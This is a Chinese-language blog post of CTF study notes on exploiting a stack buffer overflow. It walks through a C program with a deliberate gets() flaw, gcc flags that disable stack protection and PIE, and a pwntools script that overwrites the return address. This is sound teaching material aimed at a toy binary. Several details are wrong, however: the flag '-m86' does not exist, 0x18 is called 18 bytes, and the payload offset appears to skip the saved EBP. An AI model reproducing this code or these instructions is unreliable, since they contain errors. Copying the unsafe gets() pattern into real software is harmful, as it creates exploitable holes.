CTF | PWN 初探 Stack Overflow


本篇是对 ctf.wiki 上一篇教程的实践笔记。

0x00 前置知识

函数调用栈

这里精简了一些内容,详细内容可以看 C语言函数调用栈(一)C语言函数调用栈(二) 以及 【PWN】学习笔记(二)【栈溢出基础】

这部分内容非常重要,请务必理解透彻再往下学习。

栈帧的边界由栈帧基地址指针 EBP 和堆栈指针 ESP 界定(指针存放在相应寄存器中)。EBP指向当前栈帧底部(高地址),在当前栈帧内位置固定;ESP 指向当前栈帧顶部(低地址),当程序执行时ESP会随着数据的入栈和出栈而移动。因此函数中对大部分数据的访问都基于 EBP 进行。

 函数调用栈的典型内存布局如下图所示:

当调用函数时,首先将调用者函数的 Return Address 入栈,然后将调用者函数栈帧的 EBP 入栈。这样,当当前函数调用结束时借助保存的 EBP 及 Return Address 定位到调用者函数栈底位置及下一条要执行的命令的位置。

0x01 实践过程

漏洞复现

这是一段有栈溢出漏洞的代码:

#include <stdio.h>
#include <string.h>
void success(void)
{
    puts("You Hava already controlled it.");
}
void vulnerable(void)
{
    char s[12];
    gets(s);
    puts(s);
    return;
}
int main(int argc, char **argv)
{
    vulnerable();
    return 0;
}

用以下命令编译:

gcc -m86 -fno-stack-protector -std=c++98 -pedantic -no-pie stack_overflow.cpp -o stack_overflow.o

解释一下几个关键的编译参数:

-m86 输出 32 位程序。

-fno-stack-protector 关闭了 gcc 的栈保护机制。

-std=c++98 表示采用 C++98 标准进行编译,因为新版 C++ 标准已经移除了对 gets/puts 函数的支持。

-no-pie PIE (position-independent executable) 是一种生成地址无关可执行程序的技术。如果编译器在生成可执行程序的过程中使用了PIE,那么当可执行程序被加载到内存中时其加载地址存在不可预知性。这里关闭 PIE 保证每次运行程序各变量地址一致。

漏洞原理

栈溢出问题出现在 gets 函数上,由于 gets 会读到回车才算结束,所以能读入多余数组 s 所申请的空间的数据并写入栈中。

根据函数调用栈的原理,我们可以覆盖 vulnerable 函数栈帧的 Return Address 来进行攻击。也就是说我们要构造一段数据,使其被 gets 函数接受后能够产生栈溢出,将 Return Address 替换为 success 函数的地址。

Exploit & Payload

编译后将可执行文件拖到 Binary Ninja 或 IDA 里,这里我们用 Binary Ninja 作示范。

我们先找到 success 函数的地址,为 0x08049176

然后找到 vulnerable 函数中 s 变量的相对栈地址为 -0x18,这表明该变量距离 EBP 18个字节(思考:为什么是负号)。也就是说,填充 18 个字节字符后再填充 success 函数地址就能够替换掉 Return Address 的内容。

知道原理后,我们就能够构造 Payload 了。

from pwn import *
sh = process('./stack_overflow.o')
success_addr = 0x08049176
payload = b'a' * 0x18 + p32(success_addr)
sh.sendline(payload)
sh.interactive()

最后执行本脚本,成功利用漏洞。


发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注